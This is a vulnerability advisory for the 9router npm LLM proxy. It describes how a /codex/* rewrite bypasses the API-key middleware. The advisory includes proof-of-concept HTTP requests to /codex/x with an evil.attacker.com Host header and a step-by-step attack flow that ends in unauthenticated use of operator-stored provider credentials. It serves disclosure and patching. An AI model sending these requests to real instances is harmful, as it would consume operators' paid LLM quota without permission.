Loading advisory.
Loading advisory.
9router: Unauthenticated LLM proxy access via /codex rewrite authorization bypass
9router exposes an OpenAI/Anthropic-compatible LLM proxy. Remote access to this proxy is intended to be protected by an API-key check in the Next.js middleware.
Published 2026-07-10 15:38 UTC · Modified 2026-08-28 18:45 UTC
Severity and EPSS are shown separately. Helm does not combine them into one score. How tiers work
| Package | Ecosystem | Affected | Fixed in | Upgrade command |
|---|---|---|---|---|
| 9router | npm | < 0.5.2 | 0.5.2 | npm install 9router@0.5.2 |
9router exposes an OpenAI/Anthropic-compatible LLM proxy. Remote access to this proxy is intended to be protected by an API-key check in the Next.js middleware.
However, 9router also defines a rewrite that maps /codex/* to the backend LLM endpoint /api/v1/responses. The middleware authorization decision is made on the incoming request path before the rewrite is applied. Because /codex is not included in the middleware's protected LLM API prefix list, requests to /codex/* bypass the API-key gate and are later rewritten to the same backend used by /api/v1/responses.
As a result, an unauthenticated remote attacker can access the LLM proxy through /codex/* and cause the server to make upstream provider calls using the operator-stored LLM provider credentials.
| Component | File | Note |
| ----------------------------- | ----------------------------------- | ------------------------------------------------------------------------- |
| Middleware authorization gate | src/dashboardGuard.js | Protects /v1, /v1beta, /api/v1, and /api/v1beta, but not /codex |
| Rewrite configuration | next.config.mjs | Rewrites /codex/:path* to /api/v1/responses |
| LLM backend route | src/app/api/v1/responses/route.js | Dispatches rewritten requests to the LLM handler |
| Chat handler | src/sse/handlers/chat.js | Uses operator-stored provider credentials for upstream calls |
Tested version:
| Version / Commit | Runtime | Status |
| ------------------------------------------------------------ | ---------------- | -------- |
| v0.4.80, commit 23da7b1fe3bb8edd2bdbdb63fbbb15a476b02c56 | Next.js 16.2.9 | Affected |
The middleware classifies requests by the original incoming pathname. The protected public LLM API prefixes are:
PUBLIC_PREFIXES = ["/v1", "/v1beta", "/api/v1", "/api/v1beta"];Because /codex is not included in this list, a request such as /codex/x does not enter the LLM API authorization branch and falls through to:
return NextResponse.next();The rewrite configuration then maps the allowed request to the protected backend route:
{
source: "/codex/:path*",
destination: "/api/v1/responses"
}The backend route reaches the same handler used by the canonical LLM endpoint:
return await handleChat(request);The handler then processes the request and performs the upstream LLM provider call. In the tested configuration, the handler does not repeat the same middleware API-key gate for remote callers, so the rewritten request is served after bypassing the intended authorization check.
The following requests use the same target server and the same remote-style Host header. The only meaningful difference is the request path.
POST /api/v1/responses HTTP/1.1
Host: evil.attacker.com
Content-Type: application/json
Content-Length: 156
{"model":"fakeoai/x","input":"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello","messages":[{"role":"user","content":"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello"}]}Observed result:
HTTP/1.1 401 UnauthorizedThis confirms that the canonical /api/v1/responses path is protected by the intended API-key gate.
/codex/* path bypasses the API-key gatePOST /codex/x HTTP/1.1
Host: evil.attacker.com
Content-Type: application/json
Content-Length: 156
{"model":"fakeoai/x","input":"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello","messages":[{"role":"user","content":"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello"}]}Observed result:
HTTP/1.1 200 OKThe request reaches the LLM backend without an API key.
A controlled upstream provider endpoint recorded the outbound request from 9router:
POST /responses
Authorization: Bearer NINEROUTER_OPERATOR_STORED_KEY_MARKER
request-body marker present: true
operator key marker in Authorization: trueThis confirms that the unauthenticated /codex/* request causes 9router to make an upstream provider call using the operator-stored credentials.
POST /notcodex/x HTTP/1.1
Host: evil.attacker.com
Content-Type: application/json
Content-Length: 156
{"model":"fakeoai/x","input":"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello","messages":[{"role":"user","content":"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello"}]}Observed result:
HTTP/1.1 404 Not FoundNo upstream provider call is made. This isolates the issue to the /codex/* rewrite.
POST /api/v1/responses HTTP/1.1
Host: evil.attacker.com
Authorization: Bearer sk-REDACTED
Content-Type: application/json
Content-Length: 156
{"model":"fakeoai/x","input":"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello","messages":[{"role":"user","content":"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello"}]}Observed result:
HTTP/1.1 200 OKThis confirms that the canonical endpoint is functional and that the 401 response in Case 01 is an authorization failure, not a backend error.
A remote attacker identifies a publicly reachable 9router instance.
The attacker sends LLM proxy requests to /codex/* instead of /api/v1/responses.
The middleware evaluates the original /codex/* path and does not apply the LLM API-key gate.
The rewrite maps the request to /api/v1/responses.
The backend processes the request and performs an upstream provider call.
The upstream call uses the operator-stored provider credentials.
A successful attacker can use the operator's configured LLM provider account without authentication.
Likely consequences include:
Unauthorized use of the 9router LLM proxy.
Consumption of the operator's provider credits or quota.
Unexpected billing impact.
Abuse of configured OpenAI/Anthropic-compatible providers.
Exposure of model/provider behavior through proxy responses.
Bypass of the intended API-key access control for remote LLM proxy access.
No public exploit code known to Helm's sources (Nuclei templates, Metasploit, Exploit-DB and PoC-in-GitHub). That does not mean none exists.
EPSS went from 0.066 on 2026-11-24 to 0.006 on 2026-11-26, over 2 recorded scores.
| Date | Score | Previous | Model |
|---|---|---|---|
| 2026-11-24 | 0.066 | first score | v2026.06.15 |
| 2026-11-26 | 0.006 | 0.066 | v2026.06.15 |